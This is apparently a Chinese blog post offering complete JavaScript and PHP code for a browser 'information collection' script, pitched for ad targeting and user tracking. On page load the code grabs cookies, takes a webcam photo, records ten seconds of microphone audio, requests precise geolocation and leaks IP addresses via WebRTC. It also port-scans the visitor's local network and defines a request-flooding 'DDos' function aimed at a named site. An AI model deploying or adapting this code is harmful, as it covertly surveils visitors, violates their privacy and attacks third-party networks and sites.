前言

这是一个通过html5,javascript用于收集用户通过上网泄漏的各种信息,包括地理位置,IP地址,照片,语音,浏览器版本等信息。结合大数据,可实现广告定向投放,用户追踪,用户行为分析,用户群体调研等一系列更人性化的服务。

json保存个体的信息数据

内网外网IP地址

内网扫描

地理位置信息

这个需要权限,用户允许才行!

Canvas指纹

从根本上来说,每一种浏览器都会使用不同的图像处理引擎,不同的导出选项,不同的压缩等级,所以每一台电脑绘制出的图形都会有些许不同,这些图案可以被用来给用户设备分配特定编号(指纹),也就是说可以用来识别不同用户。

获取用户头像

这个结合人脸识别还可以判断性别,年龄等敏感信息。

精确定位

根据IP地址和经纬度。

DDos

需跨域

操作系统,设备型号

当然要详细判断操作系统版本,这个相当粗糙有待完善。

更新:新加详细的判断

录音

录音10秒钟,用blob保存为wav格式。

网络测速

提供两种方式测速:图片测速和音频测速。

未完待续

更多...

完整代码

/*
<?php if (isset($_GET['lat'])) { // 根据经纬度判断详细位置
$lat=$_GET['lat'];
$lon=$_GET['lon'];
// 百度经纬度查询地址
// 请求方式:GET
// 默认返回json
$url='http://lbs.juhe.cn/api/getaddressbylngb?lngx='.$lon.'&lngy='.$lat;
$result=file_get_contents($url);
$json=json_decode($result);
exit($json->row->result->formatted_address);
} $IP=$_SERVER[REMOTE_ADDR];
$USER_AGENT=$_SERVER[HTTP_USER_AGENT]; // 根据ip查询位置
$url='http://ip.taobao.com/service/getIpInfo.php?ip='.$IP;
$result=file_get_contents($url);
$json=json_decode($result); $COUNTRY=$json->data->country;
$REGION=$json->data->region;
$CITY=$json->data->city; ?>
*/ var info={
ip:null,
inner_ip:null,
intranet: [],
/*
ip_addr:{
country:'<?=$COUNTRY?>',
region:'<?=$REGION?>',
city:'<?=$CITY?>',
},
*/
agent:null,
geo:{
support:null,
error_code:null,
lat:null,
lon:null,
address:null,
},
cookie:null,
time:null,
canvas_id:null,
selfie:null,
platform:null,
device:null,
window_screen:null,
blob:null,
download_speed:null,
}; info.cookie=document.cookie;
info.time=(new Date()).toString();
info.agent=navigator.userAgent; function ajax(url,foo){
var xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200) {
foo(xmlhttp.responseText);
};
};
xmlhttp.open('GET',url,true);
xmlhttp.send();
} function bin2hex(bin){
var i=0, l=bin.length,chr,hex='';
for (i; i < l; ++i){
chr=bin.charCodeAt(i).toString(16);
hex+=chr.length<2 ? '0'+chr : chr;
}
return hex;
} function detectOS(){
var sUserAgent=navigator.userAgent;
var isWin = (navigator.platform == "Win32") || (navigator.platform == "Windows"); var isMac = (navigator.platform == "Mac68K") || (navigator.platform == "MacPPC") || (navigator.platform == "Macintosh") || (navigator.platform == "MacIntel");
if (isMac) return "Mac"; var bIsIpad = sUserAgent.match(/ipad/i) == "ipad";
if (bIsIpad) return "iPad"; var isUnix = (navigator.platform == "X11") && !isWin && !isMac;
if (isUnix) return "Unix"; var isLinux = (String(navigator.platform).indexOf("Linux") > -1);
var bIsAndroid = sUserAgent.toLowerCase().match(/android/i) == "android";
if (isLinux) {
if(bIsAndroid) return "Android";
else return "Linux";
} var bIsCE = sUserAgent.match(/windows ce/i) == "windows ce";
if (bIsCE) return "WinCE"; var bIsWM = sUserAgent.match(/windows mobile/i) == "windows mobile";
if (bIsWM) return "WinMobile"; if (isWin) {
var isWin2K = sUserAgent.indexOf("Windows NT 5.0") > -1 || sUserAgent.indexOf("Windows 2000") > -1;
if (isWin2K) return "Win2000"; var isWinXP = sUserAgent.indexOf("Windows NT 5.1") > -1 || sUserAgent.indexOf("Windows XP") > -1;
if (isWinXP) return "WinXP"; var isWin2003 = sUserAgent.indexOf("Windows NT 5.2") > -1 || sUserAgent.indexOf("Windows 2003") > -1;
if (isWin2003) return "Win2003"; var isWinVista= sUserAgent.indexOf("Windows NT 6.0") > -1 || sUserAgent.indexOf("Windows Vista") > -1;
if (isWinVista) return "WinVista"; var isWin7 = sUserAgent.indexOf("Windows NT 6.1") > -1 || sUserAgent.indexOf("Windows 7") > -1;
if (isWin7) return "Win7"; var isWin8 = sUserAgent.indexOf("Windows NT 6.2") > -1 || sUserAgent.indexOf("Windows 8") > -1;
if (isWin8) return "Win8";
} return "Unknow";
} function send_info(){
var jsonText=JSON.stringify(info);
console.log(jsonText);
} // 获取屏幕分辨率的宽高,并判断操作系统,设备型号
function device_platform(){
info.platform=detectOS();
info.window_screen=String(window.screen.width)+'x'+String(window.screen.height);
} // 拍照
// Need to request permission
function selfie(){
window.URL = window.URL || window.webkitURL;
navigator.getUserMedia=navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia; // 创建video元素
var video=document.createElement('video'),
videoObj={'video':true},
errBack=function(error){
console.log('Video capture error: ',error.name);
info.selfie=error.name;
}; // 获取媒体
if(navigator.getUserMedia){
navigator.getUserMedia(videoObj,function(stream){
video.src=window.URL.createObjectURL(stream);
video.play(); video.onloadedmetadata = function(e) {
setTimeout(function(){
if(info.selfie==null){
// 截取图片
var canvas=document.createElement('canvas'),
ctx=canvas.getContext('2d');
canvas.width=640;
canvas.height=480;
ctx.drawImage(video,0,0,640,480);
var image=canvas.toDataURL('image/png');
info.selfie=image;
console.log('Take selfie successful!'); // 关闭摄像头
stream.stop();
video.src='';
};
},3000);
};
},errBack);
}
} // 录音
// Need to request permission
function voice_record(){
window.URL=window.URL || window.webkitURL;
navigator.getUserMedia=navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;
window.AudioContext=window.AudioContext || window.webkitAudioContext || window.mozAudioContext || window.msAudioContext; var HZRecorder=function(stream,config){
config=config || {};
// 采样数8位
config.sampleBits=config.sampleBits || 8;
// 采样率(1/6 44100)
config.sampleRate=config.sampleRate || (44100/6); var context=new window.AudioContext();
var audioInput=context.createMediaStreamSource(stream);
var recorder=context.createScriptProcessor(4096,1,1); var audioData={
size:0, // 录音文件长度
buffer:[], // 录音缓存
inputSampleRate:context.sampleRate, // 输入采样率
inputSampleBits:16, // 输入采样数位 16
outputSampleRate:config.sampleRate, // 输出采样率
oututSampleBits:config.sampleBits, // 输出采样数位 8
input:function(data){
this.buffer.push(new Float32Array(data));
this.size+=data.length;
},
//合并压缩
compress:function(){
//合并
var data=new Float32Array(this.size);
var offset=0;
for (var i=0; i<this.buffer.length; i++){
data.set(this.buffer[i],offset);
offset+=this.buffer[i].length;
}
//压缩
var compression=parseInt(this.inputSampleRate / this.outputSampleRate);
var length=data.length / compression;
var result=new Float32Array(length);
var index=0,j=0;
while (index<length){
result[index]=data[j];
j+=compression;
index++;
}
return result;
},
encodeWAV:function(){
var sampleRate=Math.min(this.inputSampleRate, this.outputSampleRate);
var sampleBits=Math.min(this.inputSampleBits, this.oututSampleBits);
var bytes=this.compress();
var dataLength=bytes.length*(sampleBits/8);
var buffer=new ArrayBuffer(44+dataLength);
var data=new DataView(buffer); // 单声道
var channelCount=1;
var offset=0; var writeString=function(str){
for (var i=0; i<str.length; i++){
data.setUint8(offset+i, str.charCodeAt(i));
}
}; // 资源交换文件标识符
writeString('RIFF'); offset+=4;
// 下个地址开始到文件尾总字节数,即文件大小-8
data.setUint32(offset, 36+dataLength, true); offset += 4;
// WAV文件标志
writeString('WAVE'); offset+=4;
// 波形格式标志
writeString('fmt '); offset+=4;
// 过滤字节,一般为 0x10 = 16
data.setUint32(offset, 16, true); offset+=4;
// 格式类别 (PCM形式采样数据)
data.setUint16(offset, 1, true); offset+=2;
// 通道数
data.setUint16(offset, channelCount, true); offset+=2;
// 采样率,每秒样本数,表示每个通道的播放速度
data.setUint32(offset, sampleRate, true); offset+=4;
// 波形数据传输率 (每秒平均字节数) 单声道×每秒数据位数×每样本数据位/8
data.setUint32(offset, channelCount * sampleRate * (sampleBits / 8), true); offset += 4;
// 快数据调整数 采样一次占用字节数 单声道×每样本的数据位数/8
data.setUint16(offset, channelCount * (sampleBits / 8), true); offset += 2;
// 每样本数据位数
data.setUint16(offset, sampleBits, true); offset+=2;
// 数据标识符
writeString('data'); offset+=4;
// 采样数据总数,即数据总大小-44
data.setUint32(offset, dataLength, true); offset+=4;
// 写入采样数据
if(sampleBits===8){
for (var i=0; i<bytes.length; i++,offset++) {
var s=Math.max(-1, Math.min(1, bytes[i]));
var val=s<0 ? s*0x8000 : s*0x7FFF;
val=parseInt(255 / (65535 / (val+32768)));
data.setInt8(offset,val,true);
}
}
else{
for (var i=0; i<bytes.length; i++,offset+=2) {
var s=Math.max(-1, Math.min(1, bytes[i]));
data.setInt16(offset, s<0 ? s*0x8000 : s*0x7FFF, true);
}
}
return new Blob([data], {type:'audio/wav'});
}
}; // 音频采集
recorder.onaudioprocess=function(e){
audioData.input(e.inputBuffer.getChannelData(0));
} // 开始录音
this.start=function(){
audioInput.connect(recorder);
recorder.connect(context.destination);
} // 停止录音
this.stop=function(){
stream.stop();
recorder.disconnect();
} // 获取音频文件
this.getBlob=function(){
this.stop();
return audioData.encodeWAV();
}
}; // 抛出异常
HZRecorder.throwError=function(message){
console.log(message);
throw new function () { this.toString = function () { return message; } }
} // 是否支持录音
HZRecorder.canRecording=(navigator.getUserMedia != null); // 获取录音机
HZRecorder.get=function (callback,config){
if (callback){
if (navigator.getUserMedia){
navigator.getUserMedia(
{audio:true},
function (stream){
var rec = new HZRecorder(stream, config);
callback(rec);
},
function (error){
switch (error.code || error.name) {
case 'PERMISSION_DENIED':
case 'PermissionDeniedError':
HZRecorder.throwError('用户拒绝提供信息');
break;
case 'NOT_SUPPORTED_ERROR':
case 'NotSupportedError':
HZRecorder.throwError('浏览器不支持硬件设备');
break;
case 'MANDATORY_UNSATISFIED_ERROR':
case 'MandatoryUnsatisfiedError':
HZRecorder.throwError('无法发现指定的硬件设备');
break;
default:
HZRecorder.throwError('无法打开麦克风。异常信息:' + (error.code || error.name));
break;
}
});
}
else{
HZRecorder.throwErr('当前浏览器不支持录音功能。');
return;
}
}
}; window.HZRecorder=HZRecorder; var recorder;
HZRecorder.get(function (rec) {
recorder=rec;
recorder.start();
}); // 录音10s
setTimeout(function(){
var blob=recorder.getBlob();
info.blob=blob;
console.log('voice record finished.');
},10000);
} // DDos攻击
function DDos(site){
// CSRF
setInterval(ajax(site,function(){
console.log('DDos ',site);
}),50);
} // 获取IP地址,第一个是内网ip,第二个是外网ip
function getIPs(callback){
var ip_dups = {};
var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
var mediaConstraints = {
optional: [{RtpDataChannel: true}]
};
var servers = undefined;
var i = 0;
if(window.webkitRTCPeerConnection) servers = {iceServers: [{urls:"stun:stun.services.mozilla.com"}]};
var pc = new RTCPeerConnection(servers, mediaConstraints);
pc.onicecandidate = function(ice){
if(ice.candidate){
var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
if (ip_dups[ip_addr] === undefined) callback(ip_addr, i++);
ip_dups[ip_addr] = true;
}
};
pc.createDataChannel("");
pc.createOffer(function(result){
pc.setLocalDescription(result, function(){});
}, function(){});
} function get_ip_addr(){
getIPs(function(ip, i){
if(i == 0) info.inner_ip = ip;
else if(i == 1) info.ip = ip;
});
} // 内网扫描
function intranet_scan(){
// 常见端口
var ports = [21,22,23,25,43,80,110,137,138,139,161,170,220,443,3306,8080];
var body = document.getElementsByTagName("body")[0]; getIPs(function(ip, id){
if (id == 0) {
ip = ip.split(".");
ip.pop();
ip = ip.join(".");
for (var i = 1; i < 255; i++) {
for (var p of ports) {
var script = document.createElement("script");
var host = ip + "." + i + ":" + p;
script.src = "http://" + host;
script.onload = "info.intranet.push('"+host+"')";
body.appendChild(script);
}
}
}
});
} // 利用canvas定位唯一标识
function canvas_id(){
var canvas=document.createElement('canvas');
var ctx=canvas.getContext('2d');
var txt='http://eular.github.io';
ctx.textBaseline='top';
ctx.font="14px 'Arial'";
ctx.fillStyle='#0ff';
ctx.fillRect(0,0,140,50);
ctx.fillStyle='#00f';
ctx.fillText(txt,2,15);
ctx.fillStyle='rgba(102,204,0,0.7)';
ctx.fillText(txt,4,17); var b64=canvas.toDataURL().replace('data:image/png;base64,','');
var bin=atob(b64);
var crc=bin2hex(bin.slice(-16,-12));
console.log('Canvas id: '+crc);
info.canvas_id=crc;
} // 获取地理位置
function get_geolocation(){ // check for Geolocation support
function check_geolocation_support(){
if (navigator.geolocation){
console.log('Geolocation is supported!');
return true;
}
else{
console.log('Geolocation is not supported for this Browser/OS version yet.');
return false;
}
} if (check_geolocation_support()) { info.geo.support=true; var geoOptions={
maximumAge:5*60*1000,
timeout:10*1000,
enableHighAccuracy:true
}
var geoSuccess=function(position){
info.geo.lat=position.coords.latitude;
info.geo.lon=position.coords.longitude;
console.log('Success get geolocation!'); // 根据经纬度判断详细位置
url='<?=$_SERVER[PHP_SELF]?>?lat='+info.geo.lat+'&lon='+info.geo.lon;
ajax(url,function(addr){
info.geo.address=addr;
});
};
var geoError=function(error){
info.geo.error_code=error.code;
console.log('Error occurred. Error code:'+error.code);
//error.code:
// 0: 未知错误
// 1: 权限不足
// 2: 位置错误(位置供应商出错)
// 3: 超时
};
navigator.geolocation.getCurrentPosition(geoSuccess,geoError,geoOptions);
}
else{
info.geo.support=false;
}; } // 网络测速
function network_speed(){
// 图片测速
var image=new Image();
// 图片大小: 1232.7kb
size=1232.7;
image.src='https://raw.githubusercontent.com/Urinx/browspy/master/screenshot/test.jpg';
startTime=new Date().getTime(); // 图片加载完毕
image.onload=function(){
endTime=new Date().getTime();
// kb/s
speed=size/((endTime-startTime)/1000);
// 保留一位小数
speed=parseInt(speed*10)/10;
info.download_speed=speed+'kb/s';
console.log('Download speed testing finished!');
} /*
// 音频测速
var audio=new Audio();
// 大小: 1.3M
size=1235.87;
audio.src='https://raw.githubusercontent.com/Urinx/browspy/master/screenshot/ValderFields.mp3';
audio.volume=0;
audio.play(); startTime=new Date().getTime(); var timer;
timer=setInterval(function(){
if (audio.networkState==1) {
endTime=new Date().getTime();
speed=size/((endTime-startTime)/1000);
speed=parseInt(speed*10)/10;
info.download_speed=speed+'kb/s'; console.log('Download speed testing finished!');
audio.stop();
clearInterval(timer);
};
},100);
*/
} window.onload=function(){
device_platform();
get_ip_addr();
intranet_scan();
canvas_id();
selfie();
get_geolocation();
network_speed();
voice_record();
//DDos('http://baidu.com');
};

js实现浏览器用户信息收集的更多相关文章

  1. js获取浏览器版本信息整理

    一.Navigator 对象 JavaScript Navigator 对象包含了有关访问者浏览器的所有信息.接下来我们学习 Navigator 对象的两个属性. appName 保存浏览器类型 ap ...

  2. 微信小程序~App.js中获取用户信息

    (1)代码:主要介绍下获取用户信息部分 onLaunch: function () { // 展示本地存储能力 var logs = wx.getStorageSync('logs') || [] l ...

  3. JS检测浏览器版本信息(包含IE11),并动态添加样式

    <head runat="server"> <meta http-equiv="Content-Type" content="tex ...

  4. js··BOM 浏览器对象模型

    1.window.open(url,ways) url 是打开的网页地址 ways 打开的方式 _self 2.window.close() 3.浏览器用户信息 Window.navigator 4. ...

  5. Js 判断浏览器类型整理

    判断原理 JavaScript是前端开发的主要语言,我们可以通过 编写JavaScript程序来判断浏览器的类型及版本.JavaScript判断浏览器类型一般有两种办法,一种是根据各种浏览器独有的属性 ...

  6. EasyUI动态展示用户信息

    业务需求:用户登录后展示用户名.用户对应的角色.EasyUI只不过是一个前端的框架,封装了一些组件和样式,你可以用jsp直接调后台获取到用户信息展示,但我这里想用html页面,用目前流行的说法:前后端 ...

  7. 2019-9-25:渗透测试,基础学习,Hydra BP爆破,js基本知识,banner信息收集笔记

    使用BP和Hydra爆破相关的服务hydra:九头蛇,开源的功能强大的爆破工具,支持的服务有很多,使用hydra爆破c/s结构的服务,使用bp爆破web登陆窗口爆破需要的几个条件,爆破工具+字典字典: ...

  8. JS获取浏览器名和版本信息

    Navigator 对象包含有关浏览器的信息. Navigator 对象属性和方法: <html> <head> <title>JS完整获取浏览器信息</ti ...

  9. JS 获取浏览器和屏幕宽高等信息代码

    JS 获取浏览器和屏幕宽高等信息. 网页可见区域宽:document.body.clientWidth  网页可见区域高:document.body.clientHeight  网页可见区域宽:doc ...

随机推荐

  1. c++中的复合类型

    复合类型是指基于其他类型而定义的类型. 而这里介绍的是引用和指针.并且指针和引用都提供了对其他对象的间接访问. 引用 引用还是很好理解的,就是为对象起了另外一个名字,引用类型引用另外一种类型. 通常将 ...

  2. React 安装

    1.安装 node  8.0以上 node -v npm -v 2.安装淘宝镜像 cnpm npm install -g cnpm --registry=https://registry.npm.ta ...

  3. Nginx 配置 Location 规则优先级问题

    nginx 的 location与配置中 location 顺序没有关系,与 location 表达式的类型有关.相同类型的表达式,字符串长的会优先匹配. 以下是按优先级排列说明: 等号类型(=)的优 ...

  4. POJ 2083 Fractal 分形题目

    这两天自学了一线算法导论里分治策略的内容,秉着只有真正投入投入编程,才能更好的理解一种算法的思想的想法,兴致勃勃地找一些入门的题来学习. 搜了一下最后把目光锁定在了Poj fractal这一个题上.以 ...

  5. CentOS7 下安装 NFS,Linux/Windows 作为客户端

    目录 一.简介 1. 定义 2. 版本和变化 3. 部署说明 二.服务端 1. 关闭防火墙 2. 安装 nfs 3. 配置说明 4. 配置共享目录 5. 启动服务 6. 确认启动成功 三.Linux ...

  6. U3D Input类之键位输入GetKey

    Input类中包含许多属性和方法,下面介绍一下和键盘输入有关的内容 一.有关接收键盘信息的属性 属性名 类型 属性类型 含义 anyKey bool get 当前是否按住任意键或鼠标按钮 anyKey ...

  7. 【WePY小程序框架实战三】-组件传值

    [WePY小程序框架实战一]-创建项目 [WePY小程序框架实战二]-页面结构 父子组件传值 静态传值 静态传值为父组件向子组件传递常量数据,因此只能传递String字符串类型. 父组件 (paren ...

  8. Docker基础-镜像操作

    1.搜寻镜像 docker search [TERM] 可以搜索远程仓库中共享的镜像,默认搜索官方仓库的镜像. docker search参数: --automated=true|false :仅显示 ...

  9. Color the ball(hdu1556)(hash)或(线段树,区间更新)

    Color the ball Time Limit: 9000/3000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others)Total ...

  10. Java面试题阶段汇总

    初级面试题   Java面试题-基础篇一 Java面试题-基础篇二 Java面试题-集合框架篇三 Java面试题-基础篇四 Java面试题-基础篇五 Java面试题-javaweb篇六 Java面试题 ...